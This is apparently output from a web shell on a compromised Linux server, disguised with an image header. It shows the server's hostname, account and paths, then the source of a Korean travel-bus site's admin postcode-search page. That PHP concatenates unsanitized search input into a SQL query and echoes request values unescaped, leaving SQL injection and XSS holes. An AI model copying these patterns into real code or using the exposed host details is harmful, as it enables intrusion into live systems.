ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/admin/include/ |
Upload File : |
<? /** * 우편번호찾기 * * 작성일 : 20130426.허종 */ include "../include/top_iframe.html"; include $cf['path']."/Lib/zipconnect.php"; // 우편번호 DB 접속 ?> <div class="iframe"> <!-- 본문 --> <form name="zipform" id="zipform" style="margin:0px;padding:0px;" > <input type="hidden" name="z1" id="z1" value="<?=$z1?>"> <input type="hidden" name="z2" id="z2" value="<?=$z2?>"> <input type="hidden" name="z3" id="z3" value="<?=$z3?>"> <input type="hidden" name="tmp_layer_id" value="<?=$tmp_layer_id?>"> <!--우편번호 찾기 폼 시작--------------------------------------------------------------> <table width="90%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td> <div class="add_sch"> <strong>지역(동.읍.면)을 입력하세요.</strong> <div class="add_sch_area"> <input name="SearchWord" id="SearchWord" type="text" class="input_text" size="20" maxlength="12" style="ime-mode:active" value="<?=$SearchWord?>" onKeyDown="if(event.keyCode==13){return CheckFormZip('<?=$z1?>','<?=$z2?>','<?=$z3?>');}" ><input type="button" class="Table_btn gray" value="검색" onclick="CheckFormZip('<?=$z1?>','<?=$z2?>','<?=$z3?>');"> <!--<img src="/admin/image/btn/ok.gif" alt="확인" border="0" align="absmiddle" style="cursor:pointer" onclick="CheckFormZip('<?=$z1?>','<?=$z2?>','<?=$z3?>');">--> </div> </div> </td> </tr> <tr> <td height="10" align="center"></td> </tr> <tr> <td> <!--우편번호 결과 시작--------------------------------------------------------------> <!--반복 시작--> <? if($SearchWord){ $SQL= " select CODE,SIDO,GUGUN,DONG,BUNJI,BUILDING,ADDRESS from zipcode "; $SQL.=" where ADDRESS like '%".$SearchWord."%' "; $Result = db_query($SQL,TRUE,$zipconnect); $pNum = db_num($Result); if($pNum>0){ ?> <div class="p_overbox1"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <colgroup> <col width="90px" /> <col /> </colgroup> <? for($k=0;$k<$pNum;$k++){ $Rs = db_fetch_row($Result); $ZIPCODE = $Rs[0]; $SIDO = $Rs[1]; $GUGUN = $Rs[2]; $DONG = $Rs[3]; $BUNJI = $Rs[4]; $BUILDING = $Rs[5]; $ADDRESS = $Rs[6]; ?> <tr onMouseOver="this.style.background='#f2faff'" onMouseOut="this.style.background='#ffffff'" onFocus="this.style.background='#f2faff'" onBlur="this.style.background='#ffffff'"> <td class="txt_c"><a href="#" onclick="selectIt('<?=$ZIPCODE?>','<?=$SIDO?>','<?=$GUGUN?>','<?=$DONG?>','<?=$z1?>','<?=$z2?>','<?=$z3?>','<?=$ADDRESS?>');parent.to_dialog.close('<?=$tmp_layer_id?>');">[<?=$ZIPCODE?>]</a> </td> <td><a href="#" onclick="selectIt('<?=$ZIPCODE?>','<?=$SIDO?>','<?=$GUGUN?>','<?=$DONG?>','<?=$z1?>','<?=$z2?>','<?=$z3?>','<?=$ADDRESS?>');parent.to_dialog.close('<?=$tmp_layer_id?>');"><?=$ADDRESS?></a></td> </tr> <!--반복 끝--> <?}?> </table> </div> <? }else{?> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td height="30" align="center">'<FONT COLOR="#003399"><B><?=$SearchWord?></B></FONT>' <span class="style_7">(으)로 검색된 주소가 없습니다.</span></td> </tr> </table> <?} }?> <!--반복 끝--> <!--우편번호 결과 끝--------------------------------------------------------------> </td> </tr> <tr> <td height="10" align="center"></td> </tr> </table> </form> <!-- /본문 --> </div> <? include "../include/footer_iframe.html"; ?>